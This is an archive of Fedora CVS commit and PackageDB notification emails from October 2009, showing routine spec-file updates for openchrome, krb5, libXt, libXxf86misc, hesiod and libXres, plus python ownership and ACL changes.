RCS file: /cvs/pkgs/rpms/xorg-x11-drv-openchrome/devel/xorg-x11-drv-openchrome.spec,v
retrieving revision 1.50
retrieving revision 1.51
diff -u -p -r1.50 -r1.51
--- xorg-x11-drv-openchrome.spec	18 Sep 2009 21:40:28 -0000	1.50
+++ xorg-x11-drv-openchrome.spec	13 Oct 2009 15:46:30 -0000	1.51
@@ -9,8 +9,8 @@
 
 Summary:	Xorg X11 openchrome video driver
 Name:		xorg-x11-drv-openchrome
-Version:	0.2.903
-Release:	16%{?dist}
+Version:	0.2.904
+Release:	1%{?dist}
 URL:		http://www.openchrome.org
 License:	MIT
 Group:		User Interface/X Hardware Support
@@ -20,18 +20,13 @@ Source0:	http://www.openchrome.org/relea
 Source1:	openchrome.xinf
 
 # Patches from upstream trunk :
-# svn diff http://svn.openchrome.org/svn/tags/release_0_2_903 http://svn.openchrome.org/svn/trunk
-Patch99:         openchrome-0.2.903-latest_snapshot.patch
 # Fedora specific patches :
 #Patch100:       openchrome-0.2.903-disable_hwcursor.patch
 # Experimental patches (branch backport, etc...): 
 
 ExclusiveArch:	%{ix86} x86_64
 
-BuildRequires:	pkgconfig
-BuildRequires:	xorg-x11-server-sdk
-BuildRequires:	automake
-BuildRequires:	libtool
+BuildRequires:	xorg-x11-server-devel
 BuildRequires:	libX11-devel
 BuildRequires:	libXext-devel
 BuildRequires:	mesa-libGL-devel
@@ -64,7 +59,6 @@ X.Org X11 openchrome video driver XvMC d
 
 %prep
 %setup -q -n %{tarball}-%{version}
-%patch99 -p0 -b .latest
 
 
 %build
@@ -122,6 +116,9 @@ fi
 
 
 %changelog
+* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 0.2.904-1
+- openchrome 0.2.904
+
 * Fri Sep 18 2009 Xavier Bachelot <xavier at bachelot.org> - 0.2.903-16
 - Update to latest snapshot (svn 789).
 - Drop upstreamed patches.



From pkgdb at fedoraproject.org  Tue Oct 13 15:47:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 15:47:51 +0000
Subject: [pkgdb] python (Fedora, 10) updated by toshio
Message-ID: <20091013154751.37AB210F882@bastion2.fedora.phx.redhat.com>

toshio changed owner of python in Fedora 12 to dmalcolm
toshio approved watchbugzilla on python (Fedora 12) for katzj
toshio approved watchcommits on python (Fedora 12) for katzj
toshio approved commit on python (Fedora 12) for katzj
toshio approved build on python (Fedora 12) for katzj
toshio approved approveacls on python (Fedora 12) for katzj
toshio approved watchbugzilla on python (Fedora 12) for james
toshio approved watchcommits on python (Fedora 12) for james
toshio approved commit on python (Fedora 12) for james
toshio approved build on python (Fedora 12) for james
toshio approved approveacls on python (Fedora 12) for james

To make changes to this package see:
  /pkgdb/packages/name/python



From pkgdb at fedoraproject.org  Tue Oct 13 15:47:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 15:47:51 +0000
Subject: [pkgdb] python (Fedora, 10) updated by toshio
Message-ID: <20091013154751.5DCA110F8A9@bastion2.fedora.phx.redhat.com>

toshio changed owner of python in Fedora 11 to dmalcolm
toshio approved watchbugzilla on python (Fedora 11) for katzj
toshio approved watchcommits on python (Fedora 11) for katzj
toshio approved commit on python (Fedora 11) for katzj
toshio approved build on python (Fedora 11) for katzj
toshio approved approveacls on python (Fedora 11) for katzj
toshio approved watchbugzilla on python (Fedora 11) for james
toshio approved watchcommits on python (Fedora 11) for james
toshio approved commit on python (Fedora 11) for james
toshio approved build on python (Fedora 11) for james
toshio approved approveacls on python (Fedora 11) for james

To make changes to this package see:
  /pkgdb/packages/name/python



From pkgdb at fedoraproject.org  Tue Oct 13 15:47:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 15:47:51 +0000
Subject: [pkgdb] python (Fedora, 10) updated by toshio
Message-ID: <20091013154751.68A5F10F8AF@bastion2.fedora.phx.redhat.com>

toshio changed owner of python in Fedora devel to dmalcolm
toshio approved watchbugzilla on python (Fedora devel) for katzj
toshio approved watchcommits on python (Fedora devel) for katzj
toshio approved commit on python (Fedora devel) for katzj
toshio approved build on python (Fedora devel) for katzj
toshio approved approveacls on python (Fedora devel) for katzj
toshio approved watchbugzilla on python (Fedora devel) for james
toshio approved watchcommits on python (Fedora devel) for james
toshio approved commit on python (Fedora devel) for james
toshio approved build on python (Fedora devel) for james
toshio approved approveacls on python (Fedora devel) for james

To make changes to this package see:
  /pkgdb/packages/name/python



From pkgdb at fedoraproject.org  Tue Oct 13 15:47:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 15:47:51 +0000
Subject: [pkgdb] python (Fedora, 10) updated by toshio
Message-ID: <20091013154751.7C1DF10F8B6@bastion2.fedora.phx.redhat.com>

toshio changed owner of python in Fedora 10 to dmalcolm
toshio approved watchbugzilla on python (Fedora 10) for katzj
toshio approved watchcommits on python (Fedora 10) for katzj
toshio approved commit on python (Fedora 10) for katzj
toshio approved build on python (Fedora 10) for katzj
toshio approved approveacls on python (Fedora 10) for katzj
toshio approved watchbugzilla on python (Fedora 10) for james
toshio approved watchcommits on python (Fedora 10) for james
toshio approved commit on python (Fedora 10) for james
toshio approved build on python (Fedora 10) for james
toshio approved approveacls on python (Fedora 10) for james

To make changes to this package see:
  /pkgdb/packages/name/python



From ajax at fedoraproject.org  Tue Oct 13 15:48:10 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Tue, 13 Oct 2009 15:48:10 +0000 (UTC)
Subject: rpms/xorg-x11-drv-openchrome/F-12 sources, 1.5,
	1.6 xorg-x11-drv-openchrome.spec, 1.50, 1.51
Message-ID: <20091013154810.4D65311C00E8@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/xorg-x11-drv-openchrome/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9529

Modified Files:
	sources xorg-x11-drv-openchrome.spec 
Log Message:
* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 0.2.904-1
- openchrome 0.2.904



Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-openchrome/F-12/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	28 Aug 2008 20:01:43 -0000	1.5
+++ sources	13 Oct 2009 15:48:10 -0000	1.6
@@ -1 +1 @@
-c0820787e89958c9114d359b6a3cd464  xf86-video-openchrome-0.2.903.tar.bz2
+f2481d98ef54febf5bffbb88a2a2426d  xf86-video-openchrome-0.2.904.tar.bz2


Index: xorg-x11-drv-openchrome.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-openchrome/F-12/xorg-x11-drv-openchrome.spec,v
retrieving revision 1.50
retrieving revision 1.51
diff -u -p -r1.50 -r1.51
--- xorg-x11-drv-openchrome.spec	18 Sep 2009 21:40:28 -0000	1.50
+++ xorg-x11-drv-openchrome.spec	13 Oct 2009 15:48:10 -0000	1.51
@@ -9,8 +9,8 @@
 
 Summary:	Xorg X11 openchrome video driver
 Name:		xorg-x11-drv-openchrome
-Version:	0.2.903
-Release:	16%{?dist}
+Version:	0.2.904
+Release:	1%{?dist}
 URL:		http://www.openchrome.org
 License:	MIT
 Group:		User Interface/X Hardware Support
@@ -20,18 +20,13 @@ Source0:	http://www.openchrome.org/relea
 Source1:	openchrome.xinf
 
 # Patches from upstream trunk :
-# svn diff http://svn.openchrome.org/svn/tags/release_0_2_903 http://svn.openchrome.org/svn/trunk
-Patch99:         openchrome-0.2.903-latest_snapshot.patch
 # Fedora specific patches :
 #Patch100:       openchrome-0.2.903-disable_hwcursor.patch
 # Experimental patches (branch backport, etc...): 
 
 ExclusiveArch:	%{ix86} x86_64
 
-BuildRequires:	pkgconfig
-BuildRequires:	xorg-x11-server-sdk
-BuildRequires:	automake
-BuildRequires:	libtool
+BuildRequires:	xorg-x11-server-devel
 BuildRequires:	libX11-devel
 BuildRequires:	libXext-devel
 BuildRequires:	mesa-libGL-devel
@@ -64,7 +59,6 @@ X.Org X11 openchrome video driver XvMC d
 
 %prep
 %setup -q -n %{tarball}-%{version}
-%patch99 -p0 -b .latest
 
 
 %build
@@ -122,6 +116,9 @@ fi
 
 
 %changelog
+* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 0.2.904-1
+- openchrome 0.2.904
+
 * Fri Sep 18 2009 Xavier Bachelot <xavier at bachelot.org> - 0.2.903-16
 - Update to latest snapshot (svn 789).
 - Drop upstreamed patches.



From nalin at fedoraproject.org  Tue Oct 13 15:49:29 2009
From: nalin at fedoraproject.org (Nalin Dahyabhai)
Date: Tue, 13 Oct 2009 15:49:29 +0000 (UTC)
Subject: rpms/krb5/F-12 krb5.spec,1.212,1.213
Message-ID: <20091013154929.39F0111C00E8@cvs1.fedora.phx.redhat.com>

Author: nalin

Update of /cvs/extras/rpms/krb5/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9749/F-12

Modified Files:
	krb5.spec 
Log Message:
- don't forget the readme file



Index: krb5.spec
===================================================================
RCS file: /cvs/extras/rpms/krb5/F-12/krb5.spec,v
retrieving revision 1.212
retrieving revision 1.213
diff -u -p -r1.212 -r1.213
--- krb5.spec	14 Sep 2009 17:18:59 -0000	1.212
+++ krb5.spec	13 Oct 2009 15:49:29 -0000	1.213
@@ -10,7 +10,7 @@
 Summary: The Kerberos network authentication system
 Name: krb5
 Version: 1.7
-Release: 8%{?dist}
+Release: 9%{?dist}
 # Maybe we should explode from the now-available-to-everybody tarball instead?
 # http://web.mit.edu/kerberos/dist/krb5/1.7/krb5-1.7-signed.tar
 Source0: krb5-%{version}.tar.gz
@@ -210,6 +210,9 @@ to obtain initial credentials from a KDC
 certificate.
 
 %changelog
+* Tue Oct 13 2009 Nalin Dahyabhai <nalin at redhat.com> - 1.7-9
+- don't forget the README
+
 * Mon Sep 14 2009 Nalin Dahyabhai <nalin at redhat.com> - 1.7-8
 - specify the location of the subsystem lock when using the status() function
   in the kadmind and kpropd init scripts, so that we get the right error when
@@ -1940,6 +1943,7 @@ exit 0
 
 %files libs
 %defattr(-,root,root)
+%doc README
 %docdir %{krb5prefix}/man
 %verify(not md5 size mtime) %config(noreplace) /etc/krb5.conf
 %dir %{krb5prefix}



From nalin at fedoraproject.org  Tue Oct 13 15:49:29 2009
From: nalin at fedoraproject.org (Nalin Dahyabhai)
Date: Tue, 13 Oct 2009 15:49:29 +0000 (UTC)
Subject: rpms/krb5/devel krb5.spec,1.212,1.213
Message-ID: <20091013154929.88D5211C00E8@cvs1.fedora.phx.redhat.com>

Author: nalin

Update of /cvs/extras/rpms/krb5/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9749/devel

Modified Files:
	krb5.spec 
Log Message:
- don't forget the readme file



Index: krb5.spec
===================================================================
RCS file: /cvs/extras/rpms/krb5/devel/krb5.spec,v
retrieving revision 1.212
retrieving revision 1.213
diff -u -p -r1.212 -r1.213
--- krb5.spec	14 Sep 2009 17:18:59 -0000	1.212
+++ krb5.spec	13 Oct 2009 15:49:29 -0000	1.213
@@ -10,7 +10,7 @@
 Summary: The Kerberos network authentication system
 Name: krb5
 Version: 1.7
-Release: 8%{?dist}
+Release: 9%{?dist}
 # Maybe we should explode from the now-available-to-everybody tarball instead?
 # http://web.mit.edu/kerberos/dist/krb5/1.7/krb5-1.7-signed.tar
 Source0: krb5-%{version}.tar.gz
@@ -210,6 +210,9 @@ to obtain initial credentials from a KDC
 certificate.
 
 %changelog
+* Tue Oct 13 2009 Nalin Dahyabhai <nalin at redhat.com> - 1.7-9
+- don't forget the README
+
 * Mon Sep 14 2009 Nalin Dahyabhai <nalin at redhat.com> - 1.7-8
 - specify the location of the subsystem lock when using the status() function
   in the kadmind and kpropd init scripts, so that we get the right error when
@@ -1940,6 +1943,7 @@ exit 0
 
 %files libs
 %defattr(-,root,root)
+%doc README
 %docdir %{krb5prefix}/man
 %verify(not md5 size mtime) %config(noreplace) /etc/krb5.conf
 %dir %{krb5prefix}



From ajax at fedoraproject.org  Tue Oct 13 15:51:13 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Tue, 13 Oct 2009 15:51:13 +0000 (UTC)
Subject: rpms/libXt/devel .cvsignore, 1.11, 1.12 libXt.spec, 1.33,
	1.34 sources, 1.12, 1.13
Message-ID: <20091013155113.2A9FA11C00E8@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/libXt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10252

Modified Files:
	.cvsignore libXt.spec sources 
Log Message:
* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 1.0.7-1
- libXt 1.0.7



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libXt/devel/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	2 Jul 2009 17:33:37 -0000	1.11
+++ .cvsignore	13 Oct 2009 15:51:12 -0000	1.12
@@ -1 +1 @@
-libXt-1.0.6.tar.bz2
+libXt-1.0.7.tar.bz2


Index: libXt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libXt/devel/libXt.spec,v
retrieving revision 1.33
retrieving revision 1.34
diff -u -p -r1.33 -r1.34
--- libXt.spec	25 Jul 2009 05:15:26 -0000	1.33
+++ libXt.spec	13 Oct 2009 15:51:12 -0000	1.34
@@ -1,7 +1,7 @@
 Summary: X.Org X11 libXt runtime library
 Name: libXt
-Version: 1.0.6
-Release: 3%{?dist}
+Version: 1.0.7
+Release: 1%{?dist}
 License: MIT
 Group: System Environment/Libraries
 URL: http://www.x.org
@@ -11,9 +11,7 @@ Source0: ftp://ftp.x.org/pub/individual/
 
 Patch0:     libXt-1.0.2-libsm-fix.patch
 
-BuildRequires: xorg-x11-proto-devel
-BuildRequires: libX11-devel
-BuildRequires: libSM-devel
+BuildRequires: pkgconfig(xproto) pkgconfig(x11) pkgconfig(sm)
 
 %description
 X.Org X11 libXt runtime library
@@ -23,11 +21,6 @@ Summary: X.Org X11 libXt development pac
 Group: Development/Libraries
 Requires: %{name} = %{version}-%{release}
 
-# needed by xt.pc
-Requires: xorg-x11-proto-devel
-Requires: libX11-devel
-Requires: libSM-devel
-
 %description devel
 X.Org X11 libXt development package
 
@@ -106,6 +99,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/*.3*
 
 %changelog
+* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 1.0.7-1
+- libXt 1.0.7
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.6-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libXt/devel/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	2 Jul 2009 17:33:37 -0000	1.12
+++ sources	13 Oct 2009 15:51:13 -0000	1.13
@@ -1 +1 @@
-953930ddf9fdaa1405732c7f01e9e599  libXt-1.0.6.tar.bz2
+96f3c93434a93186d178b60d4a262496  libXt-1.0.7.tar.bz2



From ajax at fedoraproject.org  Tue Oct 13 15:53:22 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Tue, 13 Oct 2009 15:53:22 +0000 (UTC)
Subject: rpms/libXt/F-12 libXt.spec,1.33,1.34 sources,1.12,1.13
Message-ID: <20091013155323.0459A11C00E8@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/libXt/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10868

Modified Files:
	libXt.spec sources 
Log Message:
* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 1.0.7-1
- libXt 1.0.7



Index: libXt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libXt/F-12/libXt.spec,v
retrieving revision 1.33
retrieving revision 1.34
diff -u -p -r1.33 -r1.34
--- libXt.spec	25 Jul 2009 05:15:26 -0000	1.33
+++ libXt.spec	13 Oct 2009 15:53:22 -0000	1.34
@@ -1,7 +1,7 @@
 Summary: X.Org X11 libXt runtime library
 Name: libXt
-Version: 1.0.6
-Release: 3%{?dist}
+Version: 1.0.7
+Release: 1%{?dist}
 License: MIT
 Group: System Environment/Libraries
 URL: http://www.x.org
@@ -11,9 +11,7 @@ Source0: ftp://ftp.x.org/pub/individual/
 
 Patch0:     libXt-1.0.2-libsm-fix.patch
 
-BuildRequires: xorg-x11-proto-devel
-BuildRequires: libX11-devel
-BuildRequires: libSM-devel
+BuildRequires: pkgconfig(xproto) pkgconfig(x11) pkgconfig(sm)
 
 %description
 X.Org X11 libXt runtime library
@@ -23,11 +21,6 @@ Summary: X.Org X11 libXt development pac
 Group: Development/Libraries
 Requires: %{name} = %{version}-%{release}
 
-# needed by xt.pc
-Requires: xorg-x11-proto-devel
-Requires: libX11-devel
-Requires: libSM-devel
-
 %description devel
 X.Org X11 libXt development package
 
@@ -106,6 +99,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/*.3*
 
 %changelog
+* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 1.0.7-1
+- libXt 1.0.7
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.6-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libXt/F-12/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	2 Jul 2009 17:33:37 -0000	1.12
+++ sources	13 Oct 2009 15:53:22 -0000	1.13
@@ -1 +1 @@
-953930ddf9fdaa1405732c7f01e9e599  libXt-1.0.6.tar.bz2
+96f3c93434a93186d178b60d4a262496  libXt-1.0.7.tar.bz2



From ajax at fedoraproject.org  Tue Oct 13 15:54:04 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Tue, 13 Oct 2009 15:54:04 +0000 (UTC)
Subject: rpms/libXxf86misc/devel .cvsignore, 1.6, 1.7 libXxf86misc.spec, 1.21,
	1.22 sources, 1.7, 1.8
Message-ID: <20091013155404.A2DD511C00E8@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/libXxf86misc/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11122

Modified Files:
	.cvsignore libXxf86misc.spec sources 
Log Message:
* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 1.0.2-1
- libXxf86misc 1.0.2



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libXxf86misc/devel/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	27 Apr 2006 21:02:37 -0000	1.6
+++ .cvsignore	13 Oct 2009 15:54:04 -0000	1.7
@@ -1 +1 @@
-libXxf86misc-1.0.1.tar.bz2
+libXxf86misc-1.0.2.tar.bz2


Index: libXxf86misc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libXxf86misc/devel/libXxf86misc.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- libXxf86misc.spec	25 Jul 2009 05:16:40 -0000	1.21
+++ libXxf86misc.spec	13 Oct 2009 15:54:04 -0000	1.22
@@ -1,7 +1,7 @@
 Summary: X.Org X11 libXxf86misc runtime library
 Name: libXxf86misc
-Version: 1.0.1
-Release: 9%{?dist}
+Version: 1.0.2
+Release: 1%{?dist}
 License: MIT
 Group: System Environment/Libraries
 URL: http://www.x.org
@@ -9,10 +9,7 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 
 Source0: ftp://ftp.x.org/pub/individual/lib/%{name}-%{version}.tar.bz2
 
-BuildRequires: pkgconfig
-BuildRequires: xorg-x11-proto-devel
-BuildRequires: libX11-devel
-BuildRequires: libXext-devel
+BuildRequires: pkgconfig(xproto) pkgconfig(xext)
 
 %description
 X.Org X11 libXxf86misc runtime library
@@ -28,14 +25,8 @@ X.Org X11 libXxf86misc development packa
 %prep
 %setup -q
 
-# Disable static library creation by default.
-%define with_static 0
-
 %build
-%configure \
-%if ! %{with_static}
-	--disable-static
-%endif
+%configure --disable-static
 make
 
 %install
@@ -61,15 +52,15 @@ rm -rf $RPM_BUILD_ROOT
 
 %files devel
 %defattr(-,root,root,-)
-%if %{with_static}
-%{_libdir}/libXxf86misc.a
-%endif
 %{_libdir}/libXxf86misc.so
 %{_libdir}/pkgconfig/xxf86misc.pc
 #%dir %{_mandir}/man3x
-%{_mandir}/man3/*.3x*
+%{_mandir}/man3/*.3*
 
 %changelog
+* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 1.0.2-1
+- libXxf86misc 1.0.2
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.1-9
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libXxf86misc/devel/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	27 Apr 2006 21:02:51 -0000	1.7
+++ sources	13 Oct 2009 15:54:04 -0000	1.8
@@ -1 +1 @@
-7cee0df63903cef7f7a3fb68cdd99eef  libXxf86misc-1.0.1.tar.bz2
+51fed53e8de067d4b8666f75a0212400  libXxf86misc-1.0.2.tar.bz2



From ajax at fedoraproject.org  Tue Oct 13 15:54:24 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Tue, 13 Oct 2009 15:54:24 +0000 (UTC)
Subject: rpms/libXxf86misc/F-12 libXxf86misc.spec,1.21,1.22 sources,1.7,1.8
Message-ID: <20091013155424.05FD511C00E8@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/libXxf86misc/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11259

Modified Files:
	libXxf86misc.spec sources 
Log Message:
* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 1.0.2-1
- libXxf86misc 1.0.2



Index: libXxf86misc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libXxf86misc/F-12/libXxf86misc.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- libXxf86misc.spec	25 Jul 2009 05:16:40 -0000	1.21
+++ libXxf86misc.spec	13 Oct 2009 15:54:23 -0000	1.22
@@ -1,7 +1,7 @@
 Summary: X.Org X11 libXxf86misc runtime library
 Name: libXxf86misc
-Version: 1.0.1
-Release: 9%{?dist}
+Version: 1.0.2
+Release: 1%{?dist}
 License: MIT
 Group: System Environment/Libraries
 URL: http://www.x.org
@@ -9,10 +9,7 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 
 Source0: ftp://ftp.x.org/pub/individual/lib/%{name}-%{version}.tar.bz2
 
-BuildRequires: pkgconfig
-BuildRequires: xorg-x11-proto-devel
-BuildRequires: libX11-devel
-BuildRequires: libXext-devel
+BuildRequires: pkgconfig(xproto) pkgconfig(xext)
 
 %description
 X.Org X11 libXxf86misc runtime library
@@ -28,14 +25,8 @@ X.Org X11 libXxf86misc development packa
 %prep
 %setup -q
 
-# Disable static library creation by default.
-%define with_static 0
-
 %build
-%configure \
-%if ! %{with_static}
-	--disable-static
-%endif
+%configure --disable-static
 make
 
 %install
@@ -61,15 +52,15 @@ rm -rf $RPM_BUILD_ROOT
 
 %files devel
 %defattr(-,root,root,-)
-%if %{with_static}
-%{_libdir}/libXxf86misc.a
-%endif
 %{_libdir}/libXxf86misc.so
 %{_libdir}/pkgconfig/xxf86misc.pc
 #%dir %{_mandir}/man3x
-%{_mandir}/man3/*.3x*
+%{_mandir}/man3/*.3*
 
 %changelog
+* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 1.0.2-1
+- libXxf86misc 1.0.2
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.1-9
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libXxf86misc/F-12/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	27 Apr 2006 21:02:51 -0000	1.7
+++ sources	13 Oct 2009 15:54:23 -0000	1.8
@@ -1 +1 @@
-7cee0df63903cef7f7a3fb68cdd99eef  libXxf86misc-1.0.1.tar.bz2
+51fed53e8de067d4b8666f75a0212400  libXxf86misc-1.0.2.tar.bz2



From nalin at fedoraproject.org  Tue Oct 13 15:54:35 2009
From: nalin at fedoraproject.org (Nalin Dahyabhai)
Date: Tue, 13 Oct 2009 15:54:35 +0000 (UTC)
Subject: rpms/hesiod/F-12 hesiod.spec,1.34,1.35
Message-ID: <20091013155435.80B0A11C00E8@cvs1.fedora.phx.redhat.com>

Author: nalin

Update of /cvs/extras/rpms/hesiod/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11358/F-12

Modified Files:
	hesiod.spec 
Log Message:
add a disttag


Index: hesiod.spec
===================================================================
RCS file: /cvs/extras/rpms/hesiod/F-12/hesiod.spec,v
retrieving revision 1.34
retrieving revision 1.35
diff -u -p -r1.34 -r1.35
--- hesiod.spec	25 Jul 2009 02:07:48 -0000	1.34
+++ hesiod.spec	13 Oct 2009 15:54:35 -0000	1.35
@@ -1,6 +1,6 @@
 Name: hesiod
 Version: 3.1.0
-Release: 16
+Release: 17%{?dist}
 Source: ftp://athena-dist.mit.edu/pub/ATHENA/hesiod/hesiod-%{version}.tar.gz
 Patch0: hesiod-3.1.0-classes.patch
 Patch1: hesiod-3.1.0-env.patch
@@ -34,6 +34,9 @@ ensure synchronize the files among multi
 the header files and libraries required for building programs which use Hesiod.
 
 %changelog
+* Tue Oct 13 2009 Nalin Dahyabhai <nalin at redhat.com> - 3.1.0-17
+- add a disttag
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.1.0-16
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From nalin at fedoraproject.org  Tue Oct 13 15:54:35 2009
From: nalin at fedoraproject.org (Nalin Dahyabhai)
Date: Tue, 13 Oct 2009 15:54:35 +0000 (UTC)
Subject: rpms/hesiod/devel hesiod.spec,1.34,1.35
Message-ID: <20091013155435.B3F0911C00E8@cvs1.fedora.phx.redhat.com>

Author: nalin

Update of /cvs/extras/rpms/hesiod/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11358/devel

Modified Files:
	hesiod.spec 
Log Message:
add a disttag


Index: hesiod.spec
===================================================================
RCS file: /cvs/extras/rpms/hesiod/devel/hesiod.spec,v
retrieving revision 1.34
retrieving revision 1.35
diff -u -p -r1.34 -r1.35
--- hesiod.spec	25 Jul 2009 02:07:48 -0000	1.34
+++ hesiod.spec	13 Oct 2009 15:54:35 -0000	1.35
@@ -1,6 +1,6 @@
 Name: hesiod
 Version: 3.1.0
-Release: 16
+Release: 17%{?dist}
 Source: ftp://athena-dist.mit.edu/pub/ATHENA/hesiod/hesiod-%{version}.tar.gz
 Patch0: hesiod-3.1.0-classes.patch
 Patch1: hesiod-3.1.0-env.patch
@@ -34,6 +34,9 @@ ensure synchronize the files among multi
 the header files and libraries required for building programs which use Hesiod.
 
 %changelog
+* Tue Oct 13 2009 Nalin Dahyabhai <nalin at redhat.com> - 3.1.0-17
+- add a disttag
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.1.0-16
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From ajax at fedoraproject.org  Tue Oct 13 15:56:03 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Tue, 13 Oct 2009 15:56:03 +0000 (UTC)
Subject: rpms/libXres/devel .cvsignore, 1.9, 1.10 libXres.spec, 1.26,
	1.27 sources, 1.10, 1.11
Message-ID: <20091013155603.B693111C00E8@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/libXres/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12383

Modified Files:
	.cvsignore libXres.spec sources 
Log Message:
* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 1.0.4-1
- libXres 1.0.4



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libXres/devel/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	6 Jan 2007 00:12:42 -0000	1.9
+++ .cvsignore	13 Oct 2009 15:56:03 -0000	1.10
@@ -1 +1 @@
-libXres-1.0.3.tar.bz2
+libXres-1.0.4.tar.bz2


Index: libXres.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libXres/devel/libXres.spec,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- libXres.spec	14 Aug 2009 11:13:43 -0000	1.26
+++ libXres.spec	13 Oct 2009 15:56:03 -0000	1.27
@@ -1,7 +1,7 @@
 Summary: X-Resource extension client library
 Name: libXres
-Version: 1.0.3
-Release: 9%{?dist}
+Version: 1.0.4
+Release: 1%{?dist}
 License: MIT
 Group: System Environment/Libraries
 URL: http://www.x.org
@@ -9,9 +9,7 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 
 Source0: ftp://ftp.x.org/pub/individual/lib/%{name}-%{version}.tar.bz2
 
-BuildRequires: pkgconfig
-BuildRequires: libX11-devel
-BuildRequires: libXext-devel
+BuildRequires: pkgconfig(xext)
 
 %description
